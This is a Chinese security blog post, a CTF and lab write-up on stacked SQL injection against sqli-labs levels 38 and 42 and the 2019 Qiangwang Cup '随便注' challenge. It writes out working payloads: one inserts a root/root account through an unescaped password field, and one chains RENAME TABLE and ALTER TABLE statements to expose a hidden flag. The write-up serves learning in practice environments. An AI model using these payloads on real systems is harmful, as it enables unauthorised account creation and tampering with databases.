freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入之堆叠注入
2020-09-23 20:37:52

在BUUCTF上做了一道web题,涉及到了堆叠注入,就来学习一下。

在SQL语句中,语句的结束都是以`;`结尾,但是如果我们在`;`后面再加上一条SQL语句,两条语句会一起执行吗?这也就是造成堆叠注入的原因了

最简单的语句`select * from users;DELETE FROM test`

先查询user表,然后再从test数据库里删除user表。

下面我们进行实战

靶场:sql-libs38

先判断闭合点,为'

1600864051_5f6b3f33cbc15dd3cf462.png!small

再构造payload:?id=1' order by 4 %23

1600864071_5f6b3f47e2b74fa195bc1.png!small

判断出列数为3列

第38关可以理解为盲注,第二条语句的对错不会给我们回显

好,我们先构造payload:`?id=-1'; insert into users(id,username,password) values(88,'aaa','bbb')%23`

但是呢页面没有回显,我们去数据库看一下

1600864089_5f6b3f594a56ad59c28cb.png!small最后一行,username:aaa,password:bbb已经成功插入进数据库

如果我们添加的是管理员的账号和密码,那又是什么样的结果。

这一关不明显,我们去试试第42关

sql-libs-42

1600864147_5f6b3f93b9804be38a2da.png!small
因为刚刚已经插入进去了aaa,现在直接构造payload登录

①username:`aaa';insert into users(id,username,password) values(60,'root','root')#`
password:`bbb`

去查了数据库发现没有添加成功,但是语句没错,考虑对username进行了过滤或者其他防护措施。

②username:`aaa`
password:`bbb';insert into users(id,username,password) values(60,'root','root')#`

再试试对password进行堆叠
1600863967_5f6b3edf9d39a3dd291a3.png!small

登陆成功

查看数据库

1600863954_5f6b3ed26907c13e27ab2.png!small
插入成功了

去看了一下42关的源码

```
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
```
对用户名进行了转义,但是password直接以post方式提交了,这就造成了堆叠注入。

再一某一例题

[强网杯 2019]随便注
在这里插入图片描述
先判断是否有注入点,试一下1'

1600864198_5f6b3fc64eba523392413.png!small
注入点找到了

然后判断出列数
1600864258_5f6b4002265b0a025b76f.png!small222222

再用1' union select 1,database(); #出现了报错
1600864313_5f6b403989fd3bb45553c.png!small
select等字符被过滤了,正常注入不能用,报错注入也不行!

看了下大师傅的WP尝试用堆叠注入。

我们先构造payload:1' ;show database; #

查看数据库
1600864365_5f6b406d76cb51281d8b7.png!small
再次构造payload1' ;show tables; #查看有几个表
1600864393_5f6b40894de2cf68cd172.png!small只有两个表
从两个表里,我们再查询列
构造payload:0'; show columns from words ;#
1600864420_5f6b40a44222b5892f4d9.png!small

没有找到我们要的flag

再构造payload:

0';show columns from `1919810931114514`;#
先前忘了给字符加单引号,试了n次也没成功!到最后加字符才知道自己的无知太可怕,浪费了很多时间!!!

1600864451_5f6b40c320953ee85a67b.png!small

找到了flag的的列,下一步就是如何让他回显出来

上图,我们知道正则匹配过滤了很多字符,但是没有过滤alert和rename,这就可以来波骚姿势了

①先把words表改为word1

②再利用rename将1919810931114514这个表修改为word

③再将flag字段修改成id

构造payload:

0';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

1600864550_5f6b412678daa040f290f.png!small

应该成功了

emmmmm,用1';show tables;#
1600864523_5f6b410b42f9dbd939772.png!small

修改成功了

访问0' or '1'='1

1600864477_5f6b40dd260c6dd92eb1a.png!small得到flag

堆叠注入的骚姿势。

# SQL注入 # web安全 # 系统安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者